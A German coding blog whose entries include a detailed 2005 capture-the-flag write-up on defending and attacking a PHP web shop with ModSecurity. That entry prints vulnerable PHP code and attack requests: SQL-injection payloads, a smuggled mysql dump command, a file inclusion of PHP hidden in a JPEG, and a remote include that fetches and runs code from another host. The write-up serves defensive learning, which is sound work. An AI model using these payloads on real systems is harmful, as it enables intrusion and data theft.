jtb.blog (Entries tagged as Coding)

Aus Fehlern lernen

nospam@example.com (Jtb) — Sat, 31 Jan 2009 18:25:33 +0100

Manchmal kann man sich wirklich nur an den Kopf fassen..

Problemstellung: Fehlerrückmeldungen von MSSQL auslesen und entsprechend handeln.

Lösung: auf den Text "Eine vorhandene Verbindung wurde vom Remotehost geschlossen" prüfen.

Da kann man schon diskutieren.. Aber dann später merken, dass es auch englische Meldungstexte gibt und die Fehlerbehandlung umbauen, so dass auch "An existing connection was forcibly closed by the remote host" erkannt wird - ohne Worte.

Overnight Contest an der FH

nospam@example.com (Jtb) — Sun, 25 May 2008 11:34:59 +0200

Bei uns am Fachbereich Informatik findet gerade der Overnight Contest statt - veranstaltet von einem ehemaligen Studenten. Aufgabe ist es im Team über Nacht ein komplettes Spiel zu programmieren.
Den Teil Overnight haben die Teilnehmer jetzt hinter sich und die ersten Resultate sehen vielversprechend aus.

Mein Favorit ist derzeit ein Bomberman-Clon. Nichts besonderes? Doch: diese Implementierung läuft im Browser über JavaScript und bietet Multiplayersupport über einen selbstgeschriebenen Webserver in Perl.

Fehlerbehebung

nospam@example.com (Jtb) — Fri, 24 Aug 2007 17:32:08 +0200

Ich weiß manchmal einfach nicht, wie manche Entwickler drauf sind.

Wenn ich eine einfache Software von einer Homepage runterlade, dann kann ich doch erwarten, dass jeder Fehler der bekannt ist und behoben werden konnte auch in dem Download schon gefixt ist.

Komischerweise sehen das manche anders: der Download auf der Projekt-Seite ist fehlerhaft und im Forum steht dann die neue Version.
Aber anstatt den Download zu fixen kommt als Kommentar:

QUOTE:

Use the converter file from this topic. The one on the download page are out of date.

Was soll das?
Ich kann ja verstehen, dass man manchmal eine Zwischenversion bauen will, aber dann gehört zum einen ein Hinweis darauf direkt unter den Download-Link oder in die Doku. Zum anderen sind über acht Monate reichlich Zeit um einen neuen Converter rauszubringen.

Versionsverwaltung

nospam@example.com (Jtb) — Fri, 22 Dec 2006 01:27:23 +0100

Es ist doch wirklich immer wieder dasselbe. Irgendwie können Entwickler nicht mehr Versionen umgehen.

Sei es nun ein Addon für World of Warcraft - hier im Beispiel CTRaidAssist oder ein CMS wie Joomla.

CTRA: es wurden immer neue Updates rausgebracht ohne die Version zu erhöhen. Aktueller Stand ist Version 1.621 Update 8. Einfach überprüfen wer seine Version nicht aktualisiert hat (zum Beispiel mit /raversion) ist damit nicht möglich

Joomla: die aktuelle stabile Version ist 1.0.11 - veröffentlicht am 28.08.2006. Diese Version enthält aber einen Bug, dass man Mambots nicht editieren kann. Der Hotfix ist im Forum seit dem 29.08.2006 zu finden..

Aber neue Version: keine Spur. Eigentlich wollte ich Joomla mal ausprobieren, aber das versaut mir gleich schon die Freunde am System (ohne Modifikation am Mambot ist der Editor nicht benutzbar wenn man ein Theme mit schwarzem Hintergrund benutzt). Als Einstieger in ein neues System braucht man dann ein weniger länger um sowas zu finden.. In meinen Augen quasi verschwendete Zeit. Das dann auch noch der Hotfix nur für registrierte Benutzer verfügbar ist, ist nur das i-Tüpfelchen

Update: es geht immer weiter. Gerade wollte ich WoWRoster installieren. Die Version 1.7.1 kam am 4 Juli 2006 raus und wurde am 22 Oktober nochmal aktualisiert. Im Downloadbereich dieser Version steht schon extra fett: "Don't forget to check up on any patches for WoWRoster!". Im Forum muss man sich dann durch fünf "Patches" durchklicken und diese installieren..

Thunderbird löscht ungefragt Mails

nospam@example.com (Jtb) — Fri, 24 Nov 2006 12:12:03 +0100

Ich habe vor zwei Tagen eine Mail in Thunderbird vermisst und jetzt darf ich bei Heise lesen, dass Thunderbird ungefragt Mails löscht

Hier das Problem bei mir - eine Mail scheint zu fehlen:

Wenn man nach der Mail anhand des Betreffs sucht, wird sie gefunden:

Nachdem ich die MSF-Datei gelöscht habe, funktioniert der Ordnerinhalt wieder..

Im Bugreport wird leider immer nur von Yahoo-Group-Mails geschrieben. In diesem Ordner liegen aber keine Yahoogroup-Mails und die letzte Mail von einem Yahoo-Absender stammt von 2005..

Aber die Tatsache, dass der Bug nicht sofort gefixt werden soll, stimmt mich irgendwie trauig. Als Entwickler muss man doch ein Gefühl dafür haben, dass kein Benutzer Daten verlieren will.

Über die Verwendung von Interfaces

nospam@example.com (Jtb) — Tue, 18 Jul 2006 16:26:29 +0200

Mal wieder ein schönes Beispiel zum Thema Programmieren an der Uni. Aufgabe war die Implementierung einer HashTable in Java. Schon die Angabe der verschiedenen Modi der HashTable über Strings brachte mich arg zum stauen (wo es doch in Java 5 so schöne Enumerations gibt und man damit sich kostenlos Schutz durch den Compiler erkauft).
Aber das Beste war die Verwendung eines Interfaces. Man bekam ein Interface namens EntryInterface gestellt und musste nun eine Klasse namens Entry unter Verwendung dieses Interfaces implementieren.
Moment – Warum ist der Klassenname Entry vorgegeben?
Wir haben doch eine schön definierte Schnittstelle und die mitgelieferten Testcases können doch einfach diese nutzen. Dank Interface habe ich ja ein Abstraktionslayer, so dass die reelle Implementierung von EntryInterface niemanden außer dem Entwickler der HashTable-Interna interessieren sollte.
Beim näheren Anschauen der Testcases lief dann auf, dass diese eine Instanz von Entry benötigen:

CODE:

@Test
public void testHomeAdress_DivisionLinear() {
Entry testEntry1 = new Entry();
testEntry1.setKey("Z8IG4LDXS");
testEntry1.setData("OK");

Es hat schon einen guten Grund, warum die HashTable in Java anders implementiert ist. Dort muss man nicht ein Objekt übergeben, sondern direkt Key und Data. Eine Klasse weniger nötig zum Benutzen.
Ein Interface auf eine solche Art zu benutzen ist schon arg komisch. Da gibt es nun wirklich bessere Lösungen..

Windows Vista Sidebar

nospam@example.com (Jtb) — Sun, 26 Feb 2006 14:41:46 +0100

Nachdem ich schon ein bißchen über die Sidebar in Windows Vista Build 5308 berichtet habe, möchte ich nun ein bißchen auf die Programmierung von Gadgets eingehen..

Eigentlich habe ich mich ja gefreut, ein paar nette Gadgets in dotnet programmieren zu können. Aber bislang scheint es so, als ob man Gadgets nur mit Javascript und (D)HTML programmieren könnte. Auch seitens Microsofts war eigentlich die Möglichkeit von XAML geplant.

Offizielles Statement aus dem MS Gadgets Forum:

Yes, I'm sorry to say that we won't be support WPF (Avalon, or XAML) gadgets in this release of the Sidebar. We really love WPF and are looking at ways to support it in the future, but we think that HTML will be the most interesting to all the existing developers.

Das bedeutet für mich schlagartig, dass die Programmierung von Gadgets uninteressant wird. Ich möchte kein relativ eingeschränktes Sidebar Gadget Object Model, sondern die ganze Mächtigkeit, die mir dotnet bieten kann.
Wahrscheinlich waren diese Entscheidungen auch der Grund, dass die Sidebar erst so spät in die offiziellen Testbuilds Einzug hielt. Auch die standardmäßig ausgelieferten Gadgets sind nicht gerade viele wie man rechts sehen kann..

Das bedeutet für mich effektiv, dass ich die Sidebar wohl wieder deaktivieren werde.

Webservices in der Praxis

nospam@example.com (Jtb) — Sun, 22 Jan 2006 13:57:37 +0100

Für einen kleinen Dienst auf der Arbeit habe ich einen Webservice gebaut (klar, die Vorteile sprechen für sich: eingebaute Verschlüsslung dank https und Zugriff von fast überall).
Da der Client auch in C# 2005 geschrieben werden sollte (man will ja mal die neuen Features ausprobieren), habe ich den Webservice natürlich auch gleich in dotNet geschrieben - geht ja auch schön leicht: ein paar Klicks und fertig ist das ganze im Visual Studio 2005.

Getestet und nun kommt das Problem des Deployments - auf dem passenden Server ist zwar nicht ein, nicht zwei sondern schon drei Webserver installiert (Apache2+Tomcat und Lotus Domino).. Upps, da fehlt IIS...
na ja, als Workaround schnell mal einen IIS installiert und eingerichet, aber wirklich toll ist es nicht.

Also der Plan: den Server-Teil neu in Java programmieren. In der Theorie kein Problem, in der Praxis aber schon. Das generierte WSDL vom dotnet-Webservice will die WTP-Extension von Eclipse nicht als korrekt validieren.

Also alles aus der WSDL-Datei entfernen (eigentlich nur SOAP12) - und die Validierung klappt.
Nun merkt man, dass es nicht (so einfach) wie bei dotNet möglich ist einen SoapHeader zu definieren und in Implementierung anzusprechen..

Nur mal als Beispiel wie einfach das mit dotNet 2.0 ist:

[WebService(Namespace = "http://mydomain.tld/")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
public class TrackerWebservice : System.Web.Services.WebService
{
public SoapAuthenticationHeader authentication;

public TrackerWebservice()
{}

[WebMethod(Description = "Adds a trackerentry to the tracker", EnableSession = false)]
[SoapHeader("authentication")]
public void addEntry(Entry entry)
{
/* implementation */
}
// [..]

und

public class SoapAuthenticationHeader : SoapHeader
{
private NetworkCredential credentials;

public NetworkCredential Credentials
{
get { return credentials; }
set { credentials = value; }
}

}

"Capture The Flag"-Contest @ 22C3

nospam@example.com (Jtb) — Mon, 19 Dec 2005 13:01:04 +0100

Auf dem 22C3 wird dieses Jahr ein CTF veranstaltet..
Ich kann nur jedem Besucher raten, so ein CTF anzugucken oder sogar mitzumachen - es ist extrem spaßig, stressig und man kann einiges lernen..

Werbetext:

Capture The Flag is a hacker contest. Teams of hackers battle against each other in a fight of supremacy in a network full of vulnerable services. The teams' task is to defend a server while simultaneously attacking the other teams' servers.

Usually, at the beginning, all teams have the same services running. A central game server checks the services regularly by sending tickets, the so-called flags, which are collected later on. Every flag that is still there is awarded with scores.

Whenever a team manages to read a flag on another system then their own, they can submit it at the gameserver, thus moving some scores from the defensive team to their own. This way defensive as well as offensive tactics are awarded.

The contest will take place as a event of the 22nd Chaos Communication Congress from 27. - 30. 12, 2005 at Berlin.

General Information about the Congess:
http://events.ccc.de/congress/2005/

General Information is availible at
https://events.ccc.de/congress/2005/wiki/Capture_The_Flag,

a Signup-Interface is availible at http://events.ccc.de/congress/2005/ctf/

Auswertung vom Hacking-CTF2005

nospam@example.com (Jtb) — Thu, 15 Dec 2005 23:07:28 +0100

Da nun wieder ein Hacking-CTF zu ende ist, werde ich hier mal meine (kleine) Ausarbeitung über ModSecurity und PHP beim iCTF (Mitte 2005) veröffentlichen (Heise berichtete) veröffentlichen.

Abwehrmassnahmen - modSecurity

Um mehr Informationen über die Webzugriffe auf den Apache zu bekommen, wurde das Modul modSecurity installiert und mit einem Logging-Regelwerk versehen. Da die Direktive "Kein Blocken sondern Patchen" bestand, wurden die Fähigkeiten von modSecurity nur teilweise benutzt. Dennoch half modSecurity zum einen während dem Wettkampf und zum anderen bei der späteren Auswertung der Zugriffe auf den Webserver.
Das Regelwerk kann man in mehrere Bereiche unterteilen:

Erkennung von Standard-Angriffen wie z.B. SQL-Injection

Warnen falls eine Flag an einen Client geschickt wurde (Flagdetection)

Erkennen von Scans (z.B. durch Nessus oder nmap)

Erkennung von Standard-Angriffen

Neben den integrierten Analyse-Modulen wurden für den Wettbewerb noch einige andere Regeln zusammengestellt. Eine gute Einstiegsquelle dafür ist die Liste der konvertierten Snort Rules (leider nicht mehr online verfügbar) sowie das modSecurity-Kapitel vom Apache Security Buch und natürlich die "largest collections of modsecurity rules and signatures on the Internet" von gotRoot. Das komplette modSecurity-Regelwerk für den Wettbewerb wird hier allerdings nicht freigegeben.

Flagdetection

Die Flagdetection erwies sich als sehr nützlich, erfordert aber eine Analyse der Botzugriffe um Angriffe von Botzugriffen zu unterscheiden. Da diese Analyse während des Wettbewerbs nicht durchgeführt wurde, gab es leider teilweise Fehlalarme.
Insgesamt gingen ab Konfiguration der Flagdetection 376 Flags über den Apache von uns aus nach draußen. Davon waren zwei Flags vorsätzlich erzeugte Fake-Flags. Die Flagdetection wurde leider nicht sofort angeschaltet sondern erst ab 06:55:37. D.h. alle Angaben bezgl. der Anzahl ausgehender Flags über den Webserver beinhalten nicht die Anzahl ausgehender Flags vor diesem Zeitpunkt.

Konfigurationsanweisung um ausgehende Flags zu erkennen:

CODE:

SecFilterScanOutput on
SecFilterSelective OUTPUT "MTN"

Beispiel für eine Flagdetection-Warnung (short-Format):

CODE:

[Fri Jun 10 06:55:44 2005] [error] [client 10.8.1.233] mod_security: Warning. Pattern match "MTN" at OUTPUT [hostname "10.7.1.3"] [uri "/~estore/cgi-bin/debug.php"]

Beispiel für eine Flagdetection-Warnung (long-Format):

CODE:

========================================
Request: 10.8.1.233 - - [10/Jun/2005:06:55:44 --0700]
"GET /~estore/cgi-bin/debug.php HTTP/1.1" 200 10987
Handler: cgi-script
----------------------------------------
GET /~estore/cgi-bin/debug.php HTTP/1.1
Host: 10.7.1.3
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.7.8) Gecko/20050511 Firefox/1.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cache-Control: max-age=0
mod_security-message: Warning. Pattern match "MTN" at OUTPUT
HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html

Erkennen von Scans

Die Regeln zum Erkennen von Scans erwiesen sich leider als nicht ausreichend. Kein Team hat einen Webserverscan mit nmap oder Nessus gemacht. Allerdings fand sich beim Durchschauen der Logs Zugriffe von einem weiteren Scanner: Nikto. Dieser wurde leider durch die Regeln nicht erfasst.

Auswertung

Durch das AuditLog von modSecurity wird die Auswertung der Webangriffe wesentlich erleichtert. Zwar loggt Apache standardmässig schon viel im access-log mit, allerdings muss man zur Analyse von HTTP-Angriffen per POST schon den aufgezeichneten Traffic durchsehen.
Ein Beispiel für einen Angriff über POST – access-log:

CODE:

10.3.1.1 - - [10/Jun/2005:08:31:40 -0700] "POST /~contact/cgi-bin/contact_query.pl HTTP/1.1" 200 708 "-" "libwww-perl/5.803"

und der Eintrag zu demselben Angriff im Auditlog:

CODE:

Request: 10.3.1.1 - - [10/Jun/2005:08:31:40 --0700] "POST /~contact/cgi-bin/contact_query.pl HTTP/1.1" 200 708
Handler: cgi-script
----------------------------------------
POST /~contact/cgi-bin/contact_query.pl HTTP/1.1
Connection: close
Host: 10.7.1.3
User-Agent: libwww-perl/5.803
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
106
<strong>identity=mysql%20-u%20corpdbuser%20-pbasstard%20-D%20corpdb%20-e%20'select%20*%20from%20employees'&debug=1</strong>
HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

Es ist ersichtlich, dass die wichtige Information (hier fett hervorgehoben) erst im Auditlog sichtbar wird. Dadurch kann ein Angriff nicht mehr durch Verwenden von POST und Cookies versteckt werden.
Leider wurde die Option alle Requests zu loggen erst später genutzt (Aktivierung um 08:01:29).
Probleme bei der Analyse entstanden dadurch, dass der Server zur Live-Entwicklung und Testen verwendet wurde – Zugriffe vom eigenen Team mussten rausgefiltert werden und Entwicklungsfehlermeldungen machten das Lesen der Logs schwerer.

Abwehrmassnahmen - Änderungen php.ini

Folgende Änderungen wurden an der php.infi für PHP-CGI:

expose_php auf Off
Damit wollten wir vermeiden, dass eventl. Updates von PHP nicht für die anderen Teams sichtbar sind. Über Umwege wie Easteregg-URLs kann man jedoch immer noch die Version herausbekommen.

error_reporting auf E_COMPILE|E_ERROR|E_CORE_ERROR
Indem man das Error-Reporting auf absolute Fehler setzt, erschwert man dem Angreifer u.a. bei der Remote-Command-Execution die Fehlersuche. Das damit auch das Debuggen für das eigene Team erschwert wird, ist nicht von Belang, da auf dem eigentlichen Server nicht entwickelt werden soll.
Eigentlich ist diese Einstellung nicht nötig, da im nächsten Punkt die Fehleranzeige komplett abgeschaltet wird.

display_errors auf Off
Wie beim vorigen Punkt beschrieben, erschwert die fehlende Fehleranzeige einiges. Aus diesem Grund wird hier die Fehleranzeige komplett ausgeschaltet.

log_errors auf On
Da unser Team selber wieder die Fehler sehen will, werden alle auftretende Fehler in ein extra Log geschriebenen (sie landen gleichzeitig auf im error-Log von Apache)

error_log auf /var/log/apache2/php-error.log

register_globals auf Off
Nachdem alle Skripte überprüft und notfalls für diese Option nachbearbeitet wurden, wurde register_globals ausgeschaltet. Durch diese Option bekommt der Entwickler die Kontrolle darüber welche Variablen von außen gesetzt werden.

allow_url_fopen auf Off
Diese Option ermöglicht u.a. das Nachladen von Code von externen Servern. Details finden sich bei der Analyse der Remote-File-Inclusion.

Angriffe/Exploits

SQL-Injection

Es gab diverse Möglichkeiten im estore eine SQL-Injection auszuführen.

checkcookie

Diese Lücke blieb bis zum Ende unentdeckt. Der relevante Teil der Funktion checkcookie sieht so aus:

CODE:

function checkcookie($db, $cookie) {
// [..]
$st = $db->prepare("SELECT * FROM users WHERE cookie='${cookie}'");

Die Variable $cookie wird hier und bei den Aufrufern (buy.php, logout.php, process_buy.php, process_logout.php, process_sell.php und sell.php) nicht geprüft.
Einzige Schwierigkeit bei der Ausnutzung dieser Lücke besteht darin, dass das Resultset nicht ausgegeben wird. Weiterhin darf von der Query nur eine Zeile zurückgeliefert werden.

Beispiel:

CODE:

GET /~estore/cgi-bin/update.php
Cookie: auth=KQhrBhVRAhtYr%3A%27+or+%271%27%3D%271%3A1118415326%3A297292884

Ausnutzung:

Es wurde zweimal probiert diese Lücke bei uns auszunutzen (seit Einschalten des erweiterten Loggings von modSecurity). Da der Dienst zu diesem Zeitpunkt aber down war (aus anderen Gründen), hatten die beiden Angriffe keinen Erfolg und wurden scheinbar eingestellt.

Fazit:

Jede Input-Variable prüfen

AuditLog sofort anschalten

buy.php sowie $username

Es scheint so, als ob die Lücke gefixt werden wollte, aber es wurden scheinbar Variablennamen verwechselt.
Es wurde zwar die Ausgabe von checkcookie mit mysql_escape_string geprüft:

CODE:

$username = mysql_escape_string(checkcookie($db, $auth));

aber diese Variable wird nicht mehr weiter genutzt – sondern $user:

CODE:

$st = $db->prepare("SELECT * FROM items WHERE buyer IS NULL AND seller<>'$user'");

Ausnutzung:

Zwar war diese Lücke nicht ausnutzbar, da $user nicht von außen gesetzt werden konnte (register_globals war ja off), aber dadurch war die Funktionalität der buy.php auch nicht mehr gegeben.
Die Ausgabe von checkcookie selber müsste nicht per mysql_escape_string behandelt werden, da der Username direkt aus der Datenbank ausgelesen wird und somit schon beim Anlegen gefilter wurde.

Fazit:

Variablen sorgfältiger prüfen

register_globals wenn möglich ausschalten

process_buy.php

Der Parameter $items wird nicht überprüft und bietet die Möglichkeit der SQL-Injection.

CODE:

foreach(${items} as ${item}) {
$st = $db->prepare("UPDATE items SET buyer='${username}' WHERE id='${item}'");

Ausnutzung:

Es wurde eventl. einmal diese Lücke ausgenutzt (vor dem Einschalten der des erweiterten Loggings von modSecurity).

Fazit:

Sicherheitstechnisch gut gefixt, allerdings wäre die Nutzung von Prepared Statements aus Performancesicht besser.

process_sell.php

Drei Variablen wurden nicht geprüft:

CODE:

$name = $_POST['name'];
$description = $_POST['description'];
$price = $_POST['price'];
// [..]
$st = $db->prepare("INSERT INTO items (seller, name, description, price) VALUES ('${username}', '${name}',
'${description}', '${price}')");

Ausnutzung:

Diese Lücke wurde maximal 19-mal ausgenutzt (genaue Daten liegen nicht vor, da ausgenutzt vor der Aktivierung vom Auditlog von modSecurity).

process_update.php

Wie auch bei process_sell.php wurden drei Variablen nicht überprüft:

CODE:

$username = $_GET['username'];
$password = $_GET['password'];
$newemail = $_GET['newemail'];
// [..]
$st = $db->prepare("SELECT * FROM users WHERE username='${username}' AND password='${password}'");
// [..]
$st = $db->prepare("UPDATE users SET email='${newemail}' WHERE username='${username}'");

Beispiel:

CODE:

GET /~estore/cgi-bin/process_update.php?debug=1&password='%20OR%20email%20LIKE%20'%==

Ausnutzung:

Diese Lücke wurde 31-mal ausgenutzt. Allerdings scheiterte der Angriff an den Basis-Regeln von modSecurity:

CODE:

mod_security-message: Error normalizing REQUEST_URI: Invalid URL encoding detected: invalid characters used
mod_security-action: 403

Problem war "%==" - der Webbrowser hätte das "%" als %25 kodieren müssen.
Fazit:

modSecurity hilft schon mit den Standardregeln

Nicht mit dem "Internet Explorer" versuchen zu hacken – er kodierte die URL nicht ordentlich

Versteckter PHP-Code in xxx.jpg

Es gab 143 Dateien mit der Endung .php* auf dem System. Davon waren 15 Dateien dem User estore zuzuordnen, der Rest war die PEAR-Bibliothek. Diese 15 PHP-Dateien werden über das PHP-CGI-Modul ausgeführt.
Allerdings war PHP-Code in der Datei xxx.jpg (auch im public_html vom User estore) versteckt.
Dieser Code ist per Default nicht von extern aufrufbar, da Apache2 nur *.php an PHP weitergibt. Allerdings konnte diese Datei auch bei ausgeschaltetem allow_url_fopen wie bei der Remote-File-Inclusion eingebunden und somit ausgeführt werden. Wie der Exploit grundsätzlich funktioniert wird in Remote-File-Inclusion erklärt.

Beispiel:

CODE:

GET /~estore/cgi-bin/createuser.php.php?menu=../xxx.jpg

Ausnutzung:

Insgesamt wurde bei uns 127-mal versucht die Lücke auszunutzen. Allerdings gingen uns über diesen Exploit nur 3 Flags an Aachen verloren (erste Ausnutzung um 7:00:58 und letzte erfolgreiche Ausnutzung um 07:04:16).

Fazit:

Suchen nach PHP-Dateien nicht nur nach Dateiendung sondern auch nach Inhalt (beispielsweise fgrep -Ri '< ?php' /dir1 /dir2)

Einfaches Ausschalten von allow_url_fopen alleine bringt nur teilweise Sicherheit.
Sobald lokale Dateien schon vorhanden oder es die Möglichkeit gibt Dateien auf dem Server abzulegen, wird allow_url_fopen unwirksam

Überprüfen welche Dateienendungen Apache2 veranlasst die Datei an den PHP-Parser zu
schicken

Remote-File-Inclusion

Falls das Team allow_url_fopen in der INI-Datei von PHP4-CGI nicht abgeschaltet hatte, gab es die Möglichkeit beliebige Dateien remote zu laden und aufzuführen.
Diese Lücke entstand durch ein nicht geprüftes include in ~estore/public_html/cgi-bin/myfuncs.php – die wichtigen Codezeilen dazu:

CODE:

< ?php
function myheader($title)
{
$menu = $_GET["menu"];
// [..]
include($menu);
// [..]
}
// [..]
?>

Diese myfuncs.php wurde in einigen PHP-Dateien vom estore per require eingebunden.
Beispiel:

CODE:

GET /~estore/cgi-bin/createuser.php?menu=http://10.7.1.3/test.txt

Hier wird die Datei test.txt vom Server 10.7.1.3 über http nachgeladen und ausgeführt.

Ausnutzung:

Durch diese Lücke wurde es uns möglich eine Shell bei drei Teams zu erlangen – mehr dazu unter Remote-Shell per SSH-Publickey.
Es wurde nicht probiert die Include-Lücke zum Nachladen von Code bei uns auszunutzen. Ein solcher Angriff hätte allerdings bei uns auch keinen Erfolg gehabt, da sofort zu Begin allow_url_fopen ausgeschaltet wurde.

Fazit:

allow_url_fopen sollte auf jedenfall ausgeschaltet werden

Wir brauchen einen Rechner, über den man eine Datei laden kann. Hier im Beispiel und auch im Wettbewerb wurde der eigene Server benutzt, so dass es die Möglichkeit gegeben hätte, den von uns geschriebenen Code gegen uns selber zu verwenden.

Debug.php

Über die debug.php vom estore konnte man ohne weiteren Aufwand den Inhalt der kompletten estore-User-Tabelle bekommen.
Der Fix bestand darin, allen Users die Rechte auf die Datei zu entziehen. Am Ende wurde jedoch noch eine Ausgabe einer Fake-Flag eingebaut, was die Analyse leicht erschwert hat, da diese Fake-Flag wiederum von modSecurity als ausgehende Flag gewertet wurde. Der Sinn dieser Ausgabe ist allerdings zweifelhaft da das Layout nicht mehr der ursprünglichen Ausgabe übereinstimmte.

Ausnutzung:

Insgesamt wurde die Datei bei uns 243-mal aufgerufen. Unser Team hat über die debug.php 47 Flags verloren (erste Ausnutzung um 06:32:02 und letzte erfolgreiche Ausnutzung um 06:57:07).

Fazit:

Generell sollten debug-Dateien/-Parameter besonderen Augenmerk erhalten.

Falls Fake-Flags ausgegeben werden sollte das Layout identisch mit dem Ursprünglichen sein.

Remote-Shell per SSH-Publickey

Diese Methode werde ich hier absichtlich nicht veröffentlichen. Dieser Angriff wurde von vielen Teams nicht erwartet und ist immer noch sehr effektiv

Java-Code zum würgen

nospam@example.com (Jtb) — Mon, 03 Oct 2005 15:52:03 +0200

Für die Uni bin ich z.Z. an einem größeren Projekt: eine vorhandene Software in Java um S/MIME-Funktionen erweitern.
Diese Software heißt ZOË und hängt sich zwischen Mailclient und Mailserver - gut beschrieben unter ZoE - Mail-Aggregator.

Der erste Blick auf den Code zeigte schon, dass der Code nicht allzu schön ist, aber nach ein paar Wochen Coding zeigt sich, dass der Code einfach grottenschlecht ist. Eigentlich ein Wunder, dass es nicht von außen zu erkennen ist.

Best of schlechtem Code und schlechtem Codestyle:

eine .jar einbinden und dann im eigenen Projekt neue, eigene Klassen im Namespace des Jars erstellen

String-Konstanten einfach im Code schreiben

reger Gebrauch von Reflektion

um weniger Variablen zu haben - einfach alle Properties in einer HashMap per String-Konstante im Code speichern

Ein schönes Beispiel:
eine SZTable ist dafür da, eine Collection als Tabelle im Webbrowser darzustellen, Code zur Erzeugung einer solchen SZTable sieht so aus:

CODE:

    protected SZComponent trustedCertificatesComponent()
    {
        Map     someBindings = new HashMap();
                someBindings.put( "list", this.trustedCertificates() );
                someBindings.put( "keysDescription", "SubjectDN|NotAfter|SerialNumber" );
                someBindings.put( "headersDescription", "Subject|Expires|ID" );
                someBindings.put( "delegate", this );
        SZComponent aComponent = new SZTable( this.context(), this, someBindings );
        return aComponent;
    }

mehr nicht! Die Elemente sind in der Collection this.trustedCertificates() - die Frage ist jetzt nur, wie werden die Elemente angezeigt?
über "keysDescription" gibt der Programmierer an, welche Attribute der Objekte in "list" angezeigt werden wollen.. SZTable ruft also dann per Reflection z.B. getSubjectDN, getNotAfter oder getSerialNumber auf! Da freut man sich richtig wenn sich mal was an den Klassen ändert

Gleichzeitig erkennt man an dem Beispiel, dass SZTable für wichtige Attribute keine eigenen Accessoren hat, sondern alles über eine HashMap übergeben wird..

btw: für die Verlinkung eines Elements (also ein a href="...") braucht es ca. 10 Zeilen Code:

CODE:

if ( ( anObject instanceof SZRegistryInfo ) == true )
{
if ( aKey.equals( "registryName" ) == true )
{
String anID = ( ( SZRegistryInfo ) anObject ).registryID();
if ( anID.equalsIgnoreCase( "authentication" ) == true )
{
String aPath = AuthenticationService.pathForObject( this.value(), this.context() );
return aPath;
}
}
}

Also Finger weg von ZOË - der Programmierer mag zwar mit dem Code umgehen können und teilweise geniale Code-Abschnitte programmiert haben, aber für andere Programmierer kaum wart- und erweiterbar. Schade eigentlich da das Programm auf einer guten Idee basiert.